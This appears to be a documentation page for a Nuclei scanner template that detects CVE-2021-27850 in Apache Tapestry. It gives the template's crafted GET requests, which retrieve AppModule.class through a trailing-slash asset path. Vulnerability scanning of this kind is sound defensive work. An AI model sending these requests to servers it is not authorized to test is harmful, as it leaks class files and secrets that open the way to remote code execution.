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Apache Tapestry - Remote Code Execution

ID: CVE-2021-27850

Severity: critical

Author: pdteam

Tags: cve,cve2021,apache,tapestry

Description

Section titled “Description”

Apache Tapestry contains a critical unauthenticated remote code execution vulnerability. Affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. Note that this vulnerability is a bypass of the fix for CVE-2019-0195. Before that fix it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL.

YAML Source

Section titled “YAML Source”
id: CVE-2021-27850


info:
  name: Apache Tapestry - Remote Code Execution
  author: pdteam
  severity: critical
  description: |
    Apache Tapestry contains a critical unauthenticated remote code execution vulnerability. Affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. Note that this vulnerability is a bypass of the fix for CVE-2019-0195. Before that fix it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or updates provided by Apache to fix the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27850
    - https://lists.apache.org/thread.html/r237ff7f286bda31682c254550c1ebf92b0ec61329b32fbeb2d1c8751%40%3Cusers.tapestry.apache.org%3E
    - http://www.openwall.com/lists/oss-security/2021/04/15/1
    - https://security.netapp.com/advisory/ntap-20210528-0002/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-27850
    cwe-id: CWE-502,CWE-200
    epss-score: 0.9737
    epss-percentile: 0.99903
    cpe: cpe:2.3:a:apache:tapestry:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: tapestry
  tags: cve,cve2021,apache,tapestry


http:
  - raw:
      - |
        GET /assets/app/something/services/AppModule.class/ HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
      - |
        GET /assets/app/{{id}}/services/AppModule.class/ HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'application/java'


      - type: word
        part: body
        words:
          - 'configuration'
          - 'webtools'
        condition: and


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        name: id
        group: 1
        regex:
          - '\/assets\/app\/([a-z0-9]+)\/services\/AppMod'
        internal: true
        part: header
# digest: 4a0a00473045022016ac72f7f7464f65c62504f750b4b6ce0b2aaafecba1f1a5fe9932ffaae560b1022100fa2df6e4fa591822c42eae7010fff0db5843ae261c71ecbb5b4f2ff51fa1f6d1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-27850.yaml"

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